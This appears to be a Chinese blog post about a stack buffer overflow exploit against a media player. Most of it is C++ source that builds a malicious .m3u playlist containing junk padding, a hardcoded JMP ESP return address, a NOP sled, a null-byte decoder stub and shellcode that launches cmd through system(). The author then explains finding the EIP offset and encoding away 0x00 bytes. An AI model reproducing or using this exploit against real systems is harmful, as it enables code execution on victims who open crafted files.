笔者曾经试着同时使用PERL语言和C++,来试着进行此项活动,可是不知为什么两者相同的含义,出现的结果不同,暂且认为是对于PERL的不熟悉导致的吧,现在直接上源码
#include <windows.h> #include<iostream> using namespace std; unsigned char strShell[]= { 0x60,0x9C,0x55,0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x14,0x8B, 0xC8,0x83,0xE8,0x08,0x8B,0x40,0x18,0x8B,0xE8,0x8B,0x40,0x3C,0x8B,0x44,0x05,0x78, 0x03,0xC5,0x8B,0xD0,0x8B,0x5A,0x0C,0x8B,0xC1,0x8B,0x00,0x03,0xDD,0xB9,0x4B,0x45, 0x52,0x4E,0x39,0x0B,0x75,0xD9,0xB9,0x45,0x4C,0x33,0x32,0x39,0x4B,0x04,0x75,0xCF, 0xB9,0x2E,0x64,0x6C,0x6C,0x39,0x4B,0x08,0x75,0xC5,0x8B,0x5A,0x20,0x03,0xDD,0x8B, 0x4A,0x18,0x51,0x53,0x49,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x4C,0x6F,0x61,0x64,0x39, 0x06,0x75,0xF1,0xB8,0x4C,0x69,0x62,0x72,0x39,0x46,0x04,0x75,0xE7,0xB8,0x61,0x72, 0x79,0x41,0x39,0x46,0x08,0x75,0xDD,0x8B,0x5A,0x24,0x03,0xDD,0x66,0x8B,0x0C,0x4B, 0x8B,0x5A,0x1C,0x03,0xDD,0x8B,0x04,0x8B,0x03,0xC5,0x50,0x58,0x5B,0x59,0x50,0x49, 0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,0x39,0x06,0x75,0xF1,0xB8,0x72, 0x6F,0x63,0x41,0x39,0x46,0x04,0x75,0xE7,0x8B,0x5A,0x24,0x03,0xDD,0x66,0x8B,0x0C, 0x4B,0x8B,0x5A,0x1C,0x03,0xDD,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xF0,0x5B,0x5D,0x6A, 0x00,0x68,0x6C,0x6C,0x00,0x00,0x68,0x72,0x74,0x2E,0x64,0x68,0x6D,0x73,0x76,0x63, 0x8B,0xEC,0x6A,0x00,0x55,0xFF,0xD3,0x83,0xC4,0x14,0x6A,0x00,0x68,0x65,0x6D,0x00, 0x00,0x68,0x73,0x79,0x73,0x74,0x8B,0xDC,0x6A,0x00,0x53,0x50,0xFF,0xD6,0x83,0xC4, 0x10,0x6A,0x00,0x68,0x63,0x6D,0x64,0x00,0x8B,0xDC,0x6A,0x00,0x53,0xFF,0xD0,0x83, 0xC4,0x10,0x5D,0x9D }; int main() { //对shellcode进行处理,将0替换成1 for(int i=0;i<260;++i) { if(strShell[i]==0) { strShell[i]=0x01; } } goto shellEnd; _asm { shellCode: xor bl,bl; xor bh,bh; inc bh; xor ecx,ecx; mov cx,501; mov eax,esp; Start: cmp byte ptr ss:[eax],bh; jnz S; mov byte ptr ss:[eax],bl S: inc eax; dec ecx; test ecx,ecx jnz Start; } shellEnd: char*pUncrypt; DWORD dwLen=0; _asm { lea eax,shellCode; lea ebx,shellEnd; sub ebx,eax mov dwLen,ebx; mov pUncrypt,eax; } HANDLE hFile=CreateFileA("D:\\crash25000.m3u",GENERIC_ALL,FILE_SHARE_READ,NULL,CREATE_ALWAYS,NULL,NULL); if(hFile==NULL) { MessageBoxA(NULL,"文件创建失败","提示",0); return 0; } char *junk1=new char[26109]; memset(junk1,0x41,26109); char* streip=new char[4]; strncpy(streip,"\xbb\x0b\x35\x77",4);/* \\xbb\x0b\x35\x77*/ char* nop=new char[20]; memset(nop,0x90,20); DWORD dwTmp; //写入占位字符 WriteFile(hFile,junk1,26109,&dwTmp,NULL); //写入EIP WriteFile(hFile,streip,4,&dwTmp,NULL); WriteFile(hFile,nop,20,&dwTmp,NULL); WriteFile(hFile,pUncrypt,dwLen,&dwTmp,NULL); WriteFile(hFile,strShell,260,&dwTmp,NULL); CloseHandle(hFile); delete[] junk1; delete[]streip; delete []nop; }
不再写那些基础性的东西,直接说我的心得吧:
一:获得EIP的地址,即我们需要多少字节的JUNK代码,才能到达EIP所在的位置,笔者没有使用任何工具,只是单纯的暴力测试,一次一次尝试,然后呢就是利用系统dll中
JMP ESP的地址
二:shellcode代码中不能有0x00这样的字节,否则会被截断,因为0x00会被认为是结束字符,这样的话,就必须为其加密,我的方法是找一个shellcode中不存在的字节,使
用该字节将0x00替换掉,然后在shellcode的开始使用一小段来进行解码即可,需要注意的是我们在解码的时候也不能直接使用0x00,或者0x01之类的立即数,我们可以使用寄
存器来实现该功能
例如:
我们将0x00替换成0x01,那么在检测的时候,就要注意,在解码时,检测是否是0x01,使用xor bh,bh; inc bh将检测数据与bh比较,而非0x01,将检测数据替换成0x00时,也
不能使用立即数,可以使用这样的操作,xor bl,bl; mov byte pytr ss:[eax],bl;
例子中的bug:
junk数据长度不一定的是26109,同时,JMP ESP的地址,我们使用的是系统dll中的地址,但是由于WIN7中使用了地址随机化,处理,所以该地址,在本机上本次运行时成
功,但是换了机子,或者重启之后能不能成功,就是一个问题了。